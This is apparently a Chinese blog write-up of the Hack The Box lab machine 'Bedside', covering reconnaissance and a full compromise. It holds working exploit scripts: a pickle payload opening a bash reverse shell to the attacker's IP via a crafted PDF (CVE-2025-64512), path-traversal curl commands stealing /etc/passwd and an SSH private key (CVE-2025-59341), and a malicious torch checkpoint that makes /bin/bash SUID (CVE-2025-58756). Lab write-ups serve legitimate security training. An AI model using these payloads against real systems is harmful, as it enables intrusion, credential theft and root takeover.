HTB靶机 Bedside 渗透测试记录

misaka19008 发布于 2026-07-21 329 次阅读



基本信息

IP地址:10.129.248.191(非固定IP地址)


信息收集

ICMP检测

PING 10.129.248.191 (10.129.248.191) 56(84) bytes of data.  
64 bytes from 10.129.248.191: icmp_seq=1 ttl=63 time=224 ms  
64 bytes from 10.129.248.191: icmp_seq=2 ttl=63 time=248 ms  
64 bytes from 10.129.248.191: icmp_seq=3 ttl=63 time=273 ms  
64 bytes from 10.129.248.191: icmp_seq=4 ttl=63 time=296 ms  
  
--- 10.129.248.191 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3000ms  
rtt min/avg/max/mdev = 223.955/260.264/296.142/26.912 ms

攻击机和靶机间网络通信正常。

防火墙检测

# Nmap 7.99 scan initiated Mon Jul 20 07:45:23 2026 as: /usr/lib/nmap/nmap -sA -p- --min-rate 3000 -oN ack_result.txt 10.129.248.191  
Warning: 10.129.248.191 giving up on port because retransmission cap hit (10).  
Nmap scan report for bedside.htb (10.129.248.191)  
Host is up (0.35s latency).  
Not shown: 65534 unfiltered tcp ports (reset)  
PORT     STATE    SERVICE  
3000/tcp filtered ppp  
  
# Nmap done at Mon Jul 20 07:46:26 2026 -- 1 IP address (1 host up) scanned in 62.66 seconds

靶机疑似开放了3000端口。

网络端口扫描

TCP端口详细信息扫描报告

# Nmap 7.99 scan initiated Mon Jul 20 08:00:41 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p 22,80 --min-rate 3000 -oN tcp_result.txt 10.129.248.191  
Nmap scan report for bedside.htb (10.129.248.191)  
Host is up (0.24s latency).  
  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)  
80/tcp open  http    Apache httpd 2.4.68  
|_http-server-header: Apache/2.4.68 (Debian)  
|_http-title: Bedside Clinic - bedside.htb  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Aggressive OS guesses: Linux 5.0 - 5.14 (96%), Linux 4.15 - 5.19 (96%), HP P2000 G3 NAS device (93%), Linux 2.6.32 - 3.13 (93%), Linux 4.15 (93%), Linux 5.14 - 6.8 (93%), MikroTik RouterOS 6.36 - 6.48 (Linux 3.  
3.5) (93%), Linux 3.2 - 4.14 (93%), Linux 2.6.32 - 3.10 (93%), Linux 5.4 - 5.10 (92%)  
No exact OS matches for host (test conditions non-ideal).  
Network Distance: 2 hops  
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
TRACEROUTE (using proto 1/icmp)  
HOP RTT       ADDRESS  
1   262.61 ms 10.10.16.1  
2   271.31 ms bedside.htb (10.129.248.191)  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
# Nmap done at Mon Jul 20 08:01:07 2026 -- 1 IP address (1 host up) scanned in 25.92 seconds

UDP开放端口扫描报告

# Nmap 7.99 scan initiated Mon Jul 20 08:02:29 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 1000 -oN udp_ports.txt 10.129.248.191  
Warning: 10.129.248.191 giving up on port because retransmission cap hit (10).  
Nmap scan report for bedside.htb (10.129.248.191)  
Host is up (0.32s latency).  
All 65535 scanned ports on bedside.htb (10.129.248.191) are in ignored states.  
Not shown: 64804 open|filtered udp ports (no-response), 731 closed udp ports (port-unreach)  
  
# Nmap done at Mon Jul 20 08:14:40 2026 -- 1 IP address (1 host up) scanned in 731.23 seconds

UDP端口详细信息扫描报告

(无)

同时发现靶机运行Debian Linux操作系统,开放了22/ssh和80/http服务,主域名为bedside.htb。


服务探测

SSH服务(22端口)

使用ssh命令连接靶机,确定其登录方式:

ssh root@bedside.htb

Pasted image 20260720162046.png
发现靶机允许使用密码和密钥登录,且给出了一些登录提示信息。

Web应用程序(80端口)

虚拟主机爆破

尝试使用wfuzz工具爆破Web服务虚拟主机,字典使用bitquark-subdomains-top100000.txt:

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 70 -H "Host: FUZZ.bedside.htb" --hw 29 --hc 400 http://bedside.htb

Pasted image 20260720165918.png
成功发现子域名:research.bedside.htb!

主站点枚举

打开主页:http://bedside.htb/
Pasted image 20260721071652.png
发现该站点为某医疗科技公司的介绍页面,页面最底部有一些联系方式。尝试扫描目录,但未发现任何信息。

research子站点枚举

打开主页:http://research.bedside.htb/
Pasted image 20260721080811.png
发现该站点的功能为上传需要进行分析的医学影像图片文件。首先扫描目录:

# Dirsearch started Mon Jul 20 10:16:13 2026 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://research.bedside.htb -x 400,404 -e php,js,html,txt,zip,tar.gz,xml,json,md -t 70 -w /usr/share/wor  
dlists/dirb/big.txt  
  
301   373B   http://research.bedside.htb/javascript    -> REDIRECTS TO: http://research.bedside.htb/javascript/  
403   325B   http://research.bedside.htb/server-status  
301   370B   http://research.bedside.htb/uploads    -> REDIRECTS TO: http://research.bedside.htb/uploads/

发现站点存在目录uploads,尝试选择一份TXT文件上传:
Pasted image 20260721082935.png
页面返回了错误信息,发现除了各种图像文件,该功能点还接受上传gz、pdf和zip文件。上传图像文件,发现上传的文件都被保存至了uploads/目录下:
Pasted image 20260721084027.png
对该功能点进行了任意文件上传和跨目录上传测试,均告失败。在测试过程中,发现Web服务响应包头中将X-Powered-By字段值设置为了pdfminer.six:
Pasted image 20260721084345.png
尝试联网搜索该内容,发现pdfminer.six为Python库,用于识别PDF文档中的文本,并将其提取出来:
Pasted image 20260721084554.png
进一步搜索,发现该Python库存在反序列化漏洞:攻击者可以创建一个包含恶意Python对象的,经序列化后的Pickle压缩包,同时在PDF文件中添加Encoding指令引用该恶意压缩包,当使用pdfminer.six解析PDF文件时,Pickle压缩包中数据就会被反序列化,恶意命令将得到执行。该漏洞编号为CVE-2025-64512:Arbitrary Code Execution in pdfminer.six via Crafted PDF Input · Advisory · pdfminer/pdfminer.six
Pasted image 20260721085142.png
经分析研判,决定通过该漏洞进行攻击。


渗透测试

CVE-2025-64512漏洞利用

在服务探测阶段,我们已经判断Web服务可能存在使用pdfminer.six实现的PDF文字提取功能,并且找到了相关的漏洞,现在进行利用。
首先创建两个漏洞利用脚本makeEvilGz.py和createPDF.py,一个用于生成恶意序列化数据,一个用于创建PDF文件。makeEvilGz.py源代码如下:

#!/usr/bin/python3
import os
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")
    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "/bin/bash -c 'bash -i >& /dev/tcp/10.10.17.161/443 0>&1'"
            return (os.system, (code,))

    demo_cmap_data = EvilPayload()
    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"
    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None
if __name__ == "__main__":
    create_demo_pickle()

createPDF.py源代码如下:

#!/usr/bin/python3
pdf_template = '''%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj

3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj

4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj

7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj

xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF
'''
pdf_template = pdf_template.encode()
with open("malicious.pdf", "wb") as f:
    f.write(pdf_template)

这里由于不知道网站目录的绝对路径,尝试使用完整的子域名research.bedside.htb进行利用。
脚本编写完毕后,首先执行makeEvilGz.py生成压缩包,再执行createPDF.py生成恶意PDF,接着在本地443端口打开netcat监听,将压缩包和PDF文档依次上传:
Pasted image 20260721090720.png
稍等片刻后,收到反弹Shell连接:
Pasted image 20260721090823.png
成功!!


权限提升

内网端口扫描

进入系统后,发现当前处于Docker容器内,遂进行目录信息收集,在/tmp/目录下发现了名为portscan.sh的网络端口扫描脚本:
Pasted image 20260721091703.png
由于容器内进行的目录信息收集和操作系统信息收集均无进展,决定使用该脚本对172.17.0.1宿主机地址进行端口扫描:

chmod +x /tmp/portscan.sh
/tmp/portscan.sh 172.17.0.1

Pasted image 20260721092303.png
发现宿主机在内网开放了3000/tcp端口!经分析研判,决定将该端口转发至本地,对其进行枚举渗透(端口转发工具使用iox:EddieIvan01/iox: Tool for port forwarding & intranet proxy)

# Local Machine
./iox fwd -l *2222 -l 3000 -k 314159
# Target Machine
./iox fwd -r 172.17.0.1:3000 -r *10.10.17.161:2222 -k 314159 &

CVE-2025-59341漏洞利用

端口转发完毕后,打开主页:http://127.0.0.1:3000/
Pasted image 20260721121307.png
页面上除了标题之外没有任何内容,打开浏览器Console,发现页面JS输出了一行信息,称该站点使用了esm.sh:
Pasted image 20260721161226.png
通过联网搜索,发现esm.sh是一种即用型的Javascript CDN服务组件,可嵌入后端接口中,该开发组件v136及之前版本存在任意文件包含漏洞,编号为CVE-2025-59341:Local File Inclusion in esm.sh · Advisory · esm-dev/esm.sh · GitHub
Pasted image 20260721161945.png
根据漏洞描述编写利用命令,首先尝试读取/etc/passwd文件:

curl --path-as-is 'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

Pasted image 20260721162124.png
成功!发现靶机系统内存在developer用户,尝试读取其SSH私钥:

curl --path-as-is 'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/.ssh/id_rsa?raw=1&module=1'

Pasted image 20260721162247.png
将私钥保存到本地后,使用ssh连接:

ssh developer@bedside.htb -i developer_ssh_key

Pasted image 20260721162421.png
成功!

Sudo脚本代码审计分析

登录developer用户后,尝试执行sudo -l命令确定其Sudo权限:
Pasted image 20260721162543.png
发现当前用户可以root用户权限免密执行python3 /opt/trainer/bedside_trainer.py命令。
bedside_trainer.py脚本内容如下:

#!/usr/bin/env python3
"""
Bedside Clinic - MONAI trainer (v0.1.0-beta)

This software is an internal beta release intended for use by company staff and developers
for testing, experimentation, and development purposes only.

Key points:

- Staff must **exercise caution** and ensure proper backups of any data used with this tool.
- This tool should **not be used for clinical decision-making** or in patient care.
- Further development, testing, and validation are required before any production deployment.

Usage:
    python bedside_trainer.py [--epochs N] [--batch-size N] [--lr LR] [--scanner /dev/usbscanner0]

Notes:
- Root access is required if specifying a hardware scanner.
- RAW_DIR is currently a placeholder for future integration. Preprocessing features will be added in the future to handle more complex files (DICOM, NIfTI, etc.)
- Current data flow is as follows: [staging/] > [processed/] > (DataLoader) > model
- Script is currently fully functional with image files (jpeg, png, etc.). Refer to allowed extensions for supported types. 

"""

import os
import sys
import shutil
import argparse
from pathlib import Path
from datetime import datetime
import logging
import warnings
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.tensorboard import SummaryWriter
from torch.utils.data import DataLoader

# MONAI imports
warnings.filterwarnings("ignore", category=FutureWarning)
from monai.data import Dataset, CacheDataset
from monai.transforms import (
    Compose, LoadImaged, EnsureChannelFirstd, ScaleIntensityd,
    RandSpatialCropd, ToTensord, EnsureTyped, ResizeWithPadOrCropd
)
from monai.handlers import CheckpointLoader  # <-- Correct import

# --------------------------
# Datastore paths
# --------------------------
DATASTORE_ROOT = Path("/datastore")
CHECKPOINT_DIR = DATASTORE_ROOT / "checkpoints"
LOGS_DIR = DATASTORE_ROOT / "logs"
MODELS_DIR = DATASTORE_ROOT / "models"
PROCESSED_DIR = DATASTORE_ROOT / "processed"
RAW_DIR = DATASTORE_ROOT / "raw"
STAGING_DIR = DATASTORE_ROOT / "staging"

for d in (CHECKPOINT_DIR, LOGS_DIR, MODELS_DIR, PROCESSED_DIR, RAW_DIR, STAGING_DIR):
    d.mkdir(parents=True, exist_ok=True)

# --------------------------
# Logging setup
# --------------------------
log_file = LOGS_DIR / f"training_{datetime.now().strftime('%Y%m%d-%H%M%S')}.log"
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s | %(levelname)s | %(message)s",
    handlers=[
        logging.FileHandler(log_file),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

# --------------------------
# File types
# --------------------------
ALLOWED_EXTS = {
    "jpeg", "jpg", "png", "bmp", "tiff", "tif",
    "gif", "dcm", "ima", "mhd", "raw", "nrrd",
    "nii", "gz", "hdr", "img", "zip", "tar", "tar.gz", "7z",
    "pdf", "txt", "npy"
}

# --------------------------
# Device
# --------------------------
DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu")

# --------------------------
# Utility functions
# --------------------------
def find_latest_checkpoint(checkpoint_dir: Path):
    ckpts = sorted(checkpoint_dir.glob("*.pt"), key=os.path.getmtime)
    return ckpts[-1] if ckpts else None

def is_nifti(p: Path):
    return p.suffix in (".nii", ".gz") and (p.name.endswith(".nii") or p.name.endswith(".nii.gz"))

def collect_processed_files(processed_dir: Path, limit=None):
    files = [p for p in processed_dir.glob("**/*") if p.is_file() and p.suffix.lower().lstrip(".") in ALLOWED_EXTS]
    if limit:
        files = files[:limit]
    return [{"image": str(p)} for p in files]

def conservative_promote_from_staging(staging_dir: Path, processed_dir: Path, max_files=100):
    promoted = 0
    for p in sorted(staging_dir.iterdir()):
        if promoted >= max_files:
            break
        if not p.is_file():
            continue
        ext = p.suffix.lower().lstrip(".")
        if ext in ALLOWED_EXTS:
            dest = processed_dir / p.name
            try:
                shutil.move(str(p), str(dest))
                promoted += 1
            except Exception as e:
                logger.warning(f"Failed to promote {p}: {e}")
    return promoted

def prepare_dataloader_from_processed(processed_dir: Path, batch_size: int):
    data = collect_processed_files(processed_dir)
    if not data:
        return None, 0

    contains_nifti = any(is_nifti(Path(d["image"])) for d in data)

    if contains_nifti:
        transforms = Compose([
            LoadImaged(keys=["image"]),
            EnsureChannelFirstd(keys=["image"]),
            ScaleIntensityd(keys=["image"]),
            RandSpatialCropd(keys=["image"], roi_size=(64,64,64), random_size=False),
            EnsureTyped(keys=["image"])
        ])
        dataset = CacheDataset(data=data, transform=transforms, cache_rate=1.0, num_workers=1)
    else:
        transforms = Compose([
            LoadImaged(keys=["image"]),
            EnsureChannelFirstd(keys=["image"]),
            ScaleIntensityd(keys=["image"]),
            ResizeWithPadOrCropd(keys=["image"], spatial_size=(64,64)),
            ToTensord(keys=["image"]),
            EnsureTyped(keys=["image"])
        ])
        dataset = Dataset(data=data, transform=transforms)

    dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=1)
    return dataloader, len(data)

def build_model(dataloader=None, hidden_dim=128):
    if dataloader is None:
        raise ValueError("Dataloader must be provided to infer input size.")
    sample_batch = next(iter(dataloader))["image"].to(torch.device("cpu"))
    n_features = sample_batch.numel() // sample_batch.shape[0]
    logger.info(f"Auto-detected input features: {n_features}")
    model = nn.Sequential(
        nn.Flatten(),
        nn.Linear(n_features, hidden_dim),
        nn.ReLU(),
        nn.Linear(hidden_dim, 1)
    )
    return model

# --------------------------
# Main
# --------------------------
def main():
    parser = argparse.ArgumentParser(description="MONAI trainer with datastore integration")
    parser.add_argument("--epochs", "-e", type=int, default=50, help="Number of training epochs")
    parser.add_argument("--batch-size", "-b", type=int, default=4, help="Batch size")
    parser.add_argument("--lr", type=float, default=1e-3, help="Learning rate")
    parser.add_argument("--scanner", type=str, default=None, help="Hardware scanner device (requires root)")
    args = parser.parse_args()

    if args.scanner and os.geteuid() != 0:
        logger.error("Root access required to use a hardware scanner. Exiting.")
        sys.exit(1)

    NUM_EPOCHS = args.epochs
    BATCH_SIZE = args.batch_size
    LEARNING_RATE = args.lr
    SAVE_INTERVAL = 5

    logger.info(f"Device: {DEVICE}")

    dataloader, n_data = prepare_dataloader_from_processed(PROCESSED_DIR, BATCH_SIZE)
    if n_data == 0:
        promoted = conservative_promote_from_staging(STAGING_DIR, PROCESSED_DIR, max_files=200)
        if promoted:
            logger.info(f"Promoted {promoted} files from staging -> processed")
            dataloader, n_data = prepare_dataloader_from_processed(PROCESSED_DIR, BATCH_SIZE)
        else:
            logger.warning("No data available to train. Exiting.")
            return

    logger.info(f"Using {n_data} samples for training.")

    model = build_model(dataloader).to(DEVICE)
    optimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE)
    loss_fn = nn.MSELoss()

    # --------------------------
    # Checkpoint loading (MONAI-compatible callable form)
    # --------------------------
    latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR)
    start_epoch = 0
    if latest_ckpt:
        logger.info(f"Found checkpoint {latest_ckpt}, loading with CheckpointLoader (callable mode)...")
        loader = CheckpointLoader(
            load_path=str(latest_ckpt),
            load_dict={"model": model, "optimizer": optimizer},
            map_location=DEVICE
        )

        # Minimal mock engine for MONAI handler compatibility
        class MockEngine:
            def __init__(self):
                self.state = type("State", (), {})()
                self.state.max_epochs = None
                self.state.epoch = 0

        engine = MockEngine()
        loader(engine)  # invoke the handler directly

        # Retrieve saved epoch if available
        if hasattr(engine.state, "epoch") and engine.state.epoch:
            start_epoch = engine.state.epoch
        elif hasattr(loader, "loaded_objects") and "epoch" in loader.loaded_objects:
            start_epoch = loader.loaded_objects["epoch"]

        logger.info(f"Resuming from epoch {start_epoch}")

    writer = SummaryWriter(log_dir=str(LOGS_DIR / datetime.now().strftime("%Y%m%d-%H%M%S")))

    # Training loop
    for epoch in range(start_epoch, NUM_EPOCHS):
        model.train()
        epoch_loss = 0.0
        for batch in dataloader:
            imgs = batch["image"].to(DEVICE)
            target = torch.zeros((imgs.shape[0], 1), device=DEVICE)

            optimizer.zero_grad()
            out = model(imgs)
            loss = loss_fn(out, target)
            loss.backward()
            optimizer.step()
            epoch_loss += float(loss.item())

        avg_loss = epoch_loss / max(1, len(dataloader))
        logger.info(f"[EPOCH {epoch+1}/{NUM_EPOCHS}] avg_loss: {avg_loss:.6f}")

        if (epoch + 1) % SAVE_INTERVAL == 0 or (epoch + 1) == NUM_EPOCHS:
            ckpt_payload = {
                "epoch": epoch + 1,
                "model": model.state_dict(),
                "optimizer": optimizer.state_dict()
            }
            ckpt_name = CHECKPOINT_DIR / f"checkpoint_epoch_{epoch+1}.pt"
            torch.save(ckpt_payload, ckpt_name)
            logger.info(f"Saved checkpoint: {ckpt_name}")

    # Save final model
    final_model_file = MODELS_DIR / f"final_model_{datetime.now().strftime('%Y%m%d-%H%M%S')}.pt"
    torch.save({"model": model.state_dict()}, final_model_file)
    logger.info(f"Saved final model: {final_model_file}")
    logger.info("Training completed.")
    writer.close()


if __name__ == "__main__":
    main()

通读程序代码,我们可以确定该脚本程序使用了MONAI模型训练库,且靶机的MONAI版本恰好为1.5.0:
Pasted image 20260721201520.png
通过联网查询,可得知该版本MONAI恰好存在反序列化漏洞:
MONAI: Unsafe torch usage may lead to arbitrary code execution · CVE-2025-58756 · GitHub Advisory Database
Pasted image 20260721190626.png
根据漏洞描述可知,bedside_trainer.py中main()函数如下代码段存在任意代码执行:

latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR)
start_epoch = 0
if latest_ckpt:
    logger.info(f"Found checkpoint {latest_ckpt}, loading with CheckpointLoader (callable mode)...")
    loader = CheckpointLoader(
        load_path=str(latest_ckpt),
        load_dict={"model": model, "optimizer": optimizer},
        map_location=DEVICE
    )

    # Minimal mock engine for MONAI handler compatibility
    class MockEngine:
        def __init__(self):
            self.state = type("State", (), {})()
            self.state.max_epochs = None
            self.state.epoch = 0

    engine = MockEngine()
    loader(engine)  # invoke the handler directly

    # Retrieve saved epoch if available
    if hasattr(engine.state, "epoch") and engine.state.epoch:
        start_epoch = engine.state.epoch
    elif hasattr(loader, "loaded_objects") and "epoch" in loader.loaded_objects:
        start_epoch = loader.loaded_objects["epoch"]

    logger.info(f"Resuming from epoch {start_epoch}")

writer = SummaryWriter(log_dir=str(LOGS_DIR / datetime.now().strftime("%Y%m%d-%H%M%S")))

确定漏洞代码位置后,对几个关键方法进行分析:

  • collect_processed_files(processed_dir: Path, limit=None):该方法通过Path.glob()方法,循环遍历processed_dir路径对象下的子路径,如果子路径为文件且扩展名存在于ALLOWED_EXTS列表内(为图像文件),则将其添加至files数组内,最后根据limit值返回指定数量的图像文件路径JSON对象。
  • is_nifti(p: Path):该方法遍历传入路径对象内的文件,判断文件扩展名是否.nii或.nii.gz,返回布尔值。
  • conservative_promote_from_staging(staging_dir: Path, processed_dir: Path, max_files=100):该方法根据max_files限制遍历staging_dir下的目录对象(即超过参数限制终止循环),如果目录对象为文件且扩展名符合图像要求,则将其移动至processed_dir目录下,返回实际处理的文件数量。
  • prepare_dataloader_from_processed(processed_dir: Path, batch_size: int):该方法将processed_dir目录对象传入collect_processed_files()方法,获取图像文件路径JSON数据,进而循环调用is_nifti()方法判断是否有nii文件,根据结果创建不同的DataLoader返回。
  • find_latest_checkpoint(checkpoint_dir: Path):该方法通过遍历checkpoint_dir目录对象,找出创建时间戳最晚的文件返回。

其次,通过查看脚本中几个字符串变量值,我们可以确定一些脚本使用的文件系统路径:

  • PROCESSED_DIR待处理图像目录:/datastore/processed/
  • CHECKPOINT_DIR:/datastore/checkpoints/

不难发现/datastore被挂载到了Docker容器内,通过先前的反弹Shell会话就可访问。
最后分析程序主干main():脚本从命令行接收几个模型参数后,调用prepare_dataloader_from_processed()方法,获取待处理图像目录内所有图像文件的DataLoader,如果DataLoader数量为0,则使用conservative_promote_from_staging() 方法复制图像后再次获取;随后,程序使用一系列方法初始化训练模型,并调用find_latest_checkpoint()方法获取/datastore/checkpoints/内创建时间最晚的Checkpoint文件,进行了载入操作,触发了漏洞。 依据上述情况分析,我们只需要使用脚本创建一个包含os.system()方法序列化后对象数据的CheckPoint数据包和一张PNG图片,将上述恶意文件移动到指定目录,使用Sudo调用脚本,即可完成提权。

CVE-2025-58756漏洞利用

在脚本代码审计阶段,我们已经确定了提权路径,现在进行利用。首先创建生成恶意CheckPoint的脚本evilTorchChkPoint.py:

#!/usr/bin/python3
import os
import torch

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('chmod 4755 /bin/bash',))

checkpointPath = "misaka19008.pt"
malicious_checkpoint = {
        'model_state_dict': MaliciousPayload(),
        'optimizer_state_dict': {},
        'epoch': 100
}
torch.save(malicious_checkpoint, checkpointPath)

生成CheckPoint后,返回Docker容器会话,将misaka19008.pt和avatar.png下载到/datastore/目录下对应位置:

curl http://10.10.17.161/misaka19008.pt -o /datastore/checkpoints/misaka19008.pt
curl http://10.10.17.161/avatar.png -o /datastore/processed/avatar.png

下载完毕后,返回SSH会话,使用Sudo调用脚本:

sudo python3 /opt/trainer/bedside_trainer.py

Pasted image 20260721202529.png
成功添加SUID Bash后门!直接修改root密码:

/bin/bash -p
python3 -c "import os;os.setuid(0);os.setgid(0);os.system('passwd root')"
exit
su -

Pasted image 20260721202810.png
提权成功!!!!


本次靶机渗透到此结束

此作者没有提供个人介绍。
最后更新于 2026-10-03